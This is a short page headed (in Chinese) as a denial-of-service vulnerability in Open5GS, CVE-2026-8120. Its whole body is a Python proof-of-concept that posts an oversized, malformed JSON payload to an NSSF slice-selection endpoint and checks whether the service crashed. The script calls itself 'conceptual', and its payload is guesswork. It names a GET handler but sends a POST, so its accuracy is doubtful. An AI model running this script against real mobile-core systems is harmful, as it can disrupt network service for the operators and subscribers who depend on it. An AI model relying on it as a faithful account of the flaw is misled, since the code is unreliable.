CVE-2026-8120 Open5GS拒绝服务漏洞

import requests # This is a conceptual PoC based on the vulnerability description. # The vulnerability affects the nssf_nnrf_nsselection_handle_get_from_amf_or_vnssf function. # Sending a malformed request to the NSSF endpoint triggers the DoS. def exploit(target_url): headers = { "User-Agent": "CVE-2026-8120-Test", "Content-Type": "application/json" } # Malformed payload intended to trigger the flaw in the handler payload = { "invalid-param": None, "nested": { "overflow": "A" * 10000 } } try: print(f"[+] Sending payload to {target_url}") response = requests.post(target_url, json=payload, headers=headers, timeout=5) print(f"[+] Response Code: {response.status_code}") print("[+] Check if the service crashed.") except Exception as e: print(f"[-] Request failed or service went down: {e}") if __name__ == "__main__": # Replace with actual target NSSF endpoint target = "http://target-open5gs-nssf:8000/nnssf-nsselection/v1" exploit(target)